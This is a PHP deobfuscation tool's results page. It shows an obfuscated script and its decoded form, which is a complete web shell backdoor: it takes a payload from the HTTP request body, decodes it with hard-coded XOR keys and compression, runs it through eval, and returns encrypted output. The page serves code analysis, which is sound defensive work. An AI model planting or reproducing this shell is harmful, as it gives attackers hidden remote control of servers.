Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $S='{$o.=$t{$i}Z^$kZ{$j};}}ZreturnZZ $oZ;}if (@preg_matcZh("Z/$kh(.+)$kfZ/",Z@file_..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="1a1dc91c";$kh="907325c69271";$kf="ddf0c944bc72";$p="qKje7OayV54IRipm";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$S='{$o.=$t{$i}Z^$kZ{$j};}}ZreturnZZ $oZ;}if (@preg_matcZh("Z/$kh(.+)$kfZ/",Z@file_getZ_conteZZnts("pZhp://';
$I='t_contentsZ(Z);@ob_end_cleZan();$Zr=@base6Z4Z_encode(@x(Z@gzcZomZpress($o),Z$kZ));printZ("$pZ$kh$r$kf");}';
$W='Zk){$c=strlen($k)Z;$l=sZtrleZn($t);$Zo="";forZ(Z$i=0;Z$i<$l;Z){foZr($j=0;($jZ<$Zc&&$i<$l);$j+Z+,$i+Z+)Z';
$V='ZinpuZt"),$m)==1) Z{@obZZ_starZt();@evZal(@gzuncomZpreZss(@x(@bZasZe64_ZdecZode($m[1Z]),$k))Z);$o=@oZb_ge';
$T=str_replace('Df','','cDfrDfDfeate_fuDfnDfDfction');
$E='Z$k="1a1dc9Z1c";$kh="Z907325c6Z9Z271";Z$kf="ddf0cZZ944bc72";Z$p="qKjZeZ7OayV54ZIRipm";funcZtionZ Zx($t,$';
$t=str_replace('Z','',$E.$W.$S.$V.$I);
$D=$T('',$t);$D();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$E Z$k="1a1dc9Z1c";$kh="Z907325c6Z9Z271";Z$kf="ddf0cZZ944bc72";..
$I t_contentsZ(Z);@ob_end_cleZan();$Zr=@base6Z4Z_encode(@x(Z@gz..
$S {$o.=$t{$i}Z^$kZ{$j};}}ZreturnZZ $oZ;}if (@preg_matcZh("Z/$k..
$T create_function
$V ZinpuZt"),$m)==1) Z{@obZZ_starZt();@evZal(@gzuncomZpreZss(@x..
$W Zk){$c=strlen($k)Z;$l=sZtrleZn($t);$Zo="";forZ(Z$i=0;Z$i<$l;..
$k 1a1dc91c
$p qKje7OayV54IRipm
$t $k="1a1dc91c";$kh="907325c69271";$kf="ddf0c944bc72";$p="qKje..
$kf ddf0c944bc72
$kh 907325c69271

Stats

MD5 4488ff98bf0331ddd4a69dfce581d465
Eval Count 1
Decode Time 290 ms